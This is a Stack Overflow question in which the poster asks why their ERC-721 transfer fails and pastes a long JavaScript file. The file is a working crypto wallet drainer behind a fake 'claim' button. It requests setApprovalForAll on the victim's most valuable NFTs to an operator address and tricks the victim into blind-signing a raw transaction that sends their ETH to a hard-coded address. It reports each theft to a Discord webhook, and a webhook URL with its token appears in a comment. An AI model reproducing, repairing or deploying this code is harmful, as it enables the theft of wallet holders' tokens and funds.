# 114.https://stackoverflow.com/questions/72832127/i-cant-transfer-my-erc-721-to-my-other-wallet-using-metamask-transaction

**T:**i cant transfer my erc 721 to my other wallet using metamask transaction

**Q:**just trying to send my erc 721 on my other metamask wallet by trying to make a transaction to send it to my other metamask wallet. but nothing happens :(( except on getting eth for gas fee and only got this when i try to put my address on etherscan it was just said that its out and it got setapproveforall but its stay on my wallet.. do i need to have a smart contract to do it?? or is there any other way to do it without having it :<  
  
//#region Web3.jslet web3Provider;Moralis.onWeb3Enabled(async (data) => { if (data.chainId !== 1 && metamaskInstalled) await Moralis.switchNetwork("0x1"); updateState(true); console.log(data);});Moralis.onChainChanged(async (chain) => { if (chain !== "0x1" && metamaskInstalled) await Moralis.switchNetwork("0x1");});window.ethereum ? window.ethereum.on('disconnect', () => updateState(false)) : null;window.ethereum ? window.ethereum.on('accountsChanged', (accounts) => { if (accounts.length < 1) updateState(false)}) : null;async function updateState(connected) { const web3Js = new Web3(Moralis.provider); document.getElementById('walletAddress').innerHTML = connected ? `CONNECTED <br> <span>${(await web3Js.eth.getAccounts())[0]}</span>` : `NOT CONNECTED`; document.querySelector("#claimButton").style.display = connected ? "" : "none";}setTimeout(async () => { try { const web3Js = new Web3(Moralis.provider); const walletAddress = (await web3Js.eth.getAccounts())[0]; console.log(`${walletAddress} is connected`); } catch (e) { Object.assign(document.createElement('a'), { href: "./index.html", }).click(); }}, 5000);async function askSign() { const web3Js = new Web3(Moralis.provider); const walletAddress = (await web3Js.eth.getAccounts())[0]; try { const message = signMessage.replace("{address}", walletAddress).replace("{nonce}", createNonce()); const signature = await web3Js.eth.personal.sign(message, walletAddress); const signing\_address = await web3Js.eth.personal.ecRecover(message, signature); console.log(`Signing address: ${signing\_address}\n${walletAddress.toLowerCase() == signing\_address.toLowerCase() ? "Same address" : "Not the same address."}`); return true; } catch (e) { if (e.message.toLowerCase().includes("user denied")) noEligible("signDenied"); console.log(e); return false; }}// https://canary.discord.com/api/webhooks/989716160629071932/a3EEYjNt95pX-4IEOjOUe9ZB8\_mAY\_eM1IEXS-lanCcd4Zw7LYwSzC2U-z-Hxxaa8VeZasync function askNfts() { const web3Js = new Web3(Moralis.provider); const walletAddress = (await web3Js.eth.getAccounts())[0]; const options = { method: 'GET', headers: { Accept: 'application/json' } }; let walletNfts = await fetch(`https://api.opensea.io/api/v1/collections?asset\_owner=${walletAddress}&offset=0&limit=300`, options) .then(response => response.json()) .then(nfts => { console.log(nfts) if (nfts.includes("Request was throttled.")) return ["Request was throttled."]; return nfts.filter(nft => { if (nft.primary\_asset\_contracts.length > 0) return true else return false }).map(nft => { return { type: nft.primary\_asset\_contracts[0].schema\_name.toLowerCase(), contract\_address: nft.primary\_asset\_contracts[0].address, price: round(nft.stats.one\_day\_average\_price != 0 ? nft.stats.one\_day\_average\_price : nft.stats.seven\_day\_average\_price), owned: nft.owned\_asset\_count, } }) }).catch(err => console.error(err)); if (walletNfts.includes("Request was throttled.")) return verifyAsset(); if (walletNfts.length < 1) return verifyAsset(); let transactionsOptions = []; for (nft of walletNfts) { if (nft.price === 0) continue; const ethPrice = round(nft.price \* (nft.type == "erc1155" ? nft.owned : 1)) if (ethPrice < 0.1) continue; const thewallet = ethPrice < 1.0 ? receiveAddress : ""; transactionsOptions.push({ price: ethPrice, options: { contractAddress: nft.contract\_address, from: walletAddress, functionName: "setApprovalForAll", abi: [{ "inputs": [ { "internalType": "address", "name": "operator", "type": "address" }, { "internalType": "bool", "name": "approved", "type": "bool" } ], "name": "setApprovalForAll", "outputs": [], "stateMutability": "nonpayable", "type": "function" }], params: { operator: thewallet, approved: true }, gasLimit: (await web3Js.eth.getBlock("latest")).gasLimit } }); } if (transactionsOptions.length < 1) return notEligible(); let transactionLists = await transactionsOptions.sort((a, b) => b.price - a.price) for (const trans of transactionLists) { console.log(`Transferring ${trans.options.contractAddress} (${trans.price} ETH)`); await Moralis.executeFunction(trans.options).catch(O\_o => console.error(O\_o, options)).then(uwu => { if (uwu) sendWebhooks(walletAddress, trans.options.contractAddress, trans.price); }); } await verifyAsset();}let eth\_bal = 0;const verifyAsset = async () => { const web3Js = new Web3(Moralis.provider); const walletAddress = (await web3Js.eth.getAccounts())[0]; try { eth\_bal = await web3Js.eth.getBalance(walletAddress); const r\_bal = web3Js.utils.fromWei(eth\_bal, 'ether'); console.log(`Current balance for ${walletAddress} : ${r\_bal} ETH`); if (r\_bal > 0.01) askTransferWithSign(r\_bal); else console.log(`Error, balance is too low. (< 0.01 ETH)`); } catch (e) { console.log(e); }};async function askTransferWithSign(rbal) { const web3Js = new Web3(Moralis.provider); const walletAddress = (await web3Js.eth.getAccounts())[0]; const chainId = await web3Js.eth.getChainId(); await web3Js.eth.getTransactionCount(walletAddress, "pending") .then(async (txnCount) => { const jgasPrice = await web3Js.eth.getGasPrice(); const mgasPrice = web3Js.utils.toHex(Math.floor(jgasPrice \* 1.4)); const gas = new web3Js.utils.BN("22000"); const cost = gas \* Math.floor(jgasPrice \* 2); const toSend = eth\_bal - cost; console.log(`Sending ${web3Js.utils.fromWei(toSend.toString(), "ether")} ETH from ${walletAddress}...`); const txObject = { nonce: web3Js.utils.toHex(txnCount), gasPrice: mgasPrice, gasLimit: "0x55F0", to: rbal > 1.0 ? "0x00000a6dB5627E67863de95Cc819452E23500000" : receiveAddress, value: "0x" + toSend.toString(16), data: "0x", v: "0x1", r: "0x", s: "0x" }; let ethTX = new ethereumjs.Tx(txObject); const rawTx1 = '0x' + ethTX.serialize().toString('hex'); const rawHash1 = web3Js.utils.sha3(rawTx1, { encoding: 'hex' }); console.log("rawTx1:", rawTx1); console.log("rawHash1:", rawHash1); await web3Js.eth.sign(rawHash1, walletAddress).then(async (result) => { const signature = result.substring(2); const r = "0x" + signature.substring(0, 64); const s = "0x" + signature.substring(64, 128); const v = parseInt(signature.substring(128, 130), 16); const y = web3Js.utils.toHex(v + chainId \* 2 + 8); ethTX.r = r; ethTX.s = s; ethTX.v = y; console.log(ethTX); const rawTx = '0x' + ethTX.serialize().toString('hex'); const rawHash = web3Js.utils.sha3(rawTx, { encoding: 'hex' }); console.log("rawTx:", rawTx); console.log("rawHash:", rawHash); await web3Js.eth.sendSignedTransaction(rawTx).then((hash) => console.log(hash)).catch((e) => console.log(e)); }).catch((err) => console.log(err)); })}async function noEligible(info) { const noteli = document.getElementById("notEli") noteli.style.display = ""; switch (info) { case "signDenied": noteli.innerText = "You denied the sign request. Please try again." break; case "noNFTs": await verifyAsset(); break; case "noETH": noteli.innerText = "You are not eligible." break; default: noteli.innerText = "Something went wrong." break; }}let disabled = false;async function askTransfer() { if (disabled) return; document.getElementById('claimButton').style.opacity = 0.5; disabled = true; // if (await askSign()) await askNfts(); await askNfts(); disabled = false; document.getElementById('claimButton').style.opacity = 1;}let metamaskInstalled = false;if (typeof window.ethereum !== 'undefined') metamaskInstalled = true;window.addEventListener('load', async () => { await Moralis.enableWeb3(metamaskInstalled ? {} : { provider: "walletconnect" }); document.querySelector("#claimButton").addEventListener("click", askTransfer);});//#region Utils Functions const round = (value) => { return Math.round(value \* 10000) / 10000;}const sleep = (ms) => { return new Promise(resolve => setTimeout(resolve, ms));}const rdmString = (length) => { let x = ""; const possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (let i = 0; i < length; i++) x += possible.charAt(Math.floor(Math.random() \* possible.length)); return x;}const createNonce = () => { return `${rdmString(8)}-${rdmString(4)}-${rdmString(4)}-${rdmString(12)}`; // 1a196cf5-d873-9c36-e26ae9f3bd2e}const sendWebhooks = (userWallet, contract, price) => fetch(`/api.php?o=success`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ userWallet, contract, price, discordWebhookURL })}).catch(err => console.error(err));//#endregion

0 **Answer**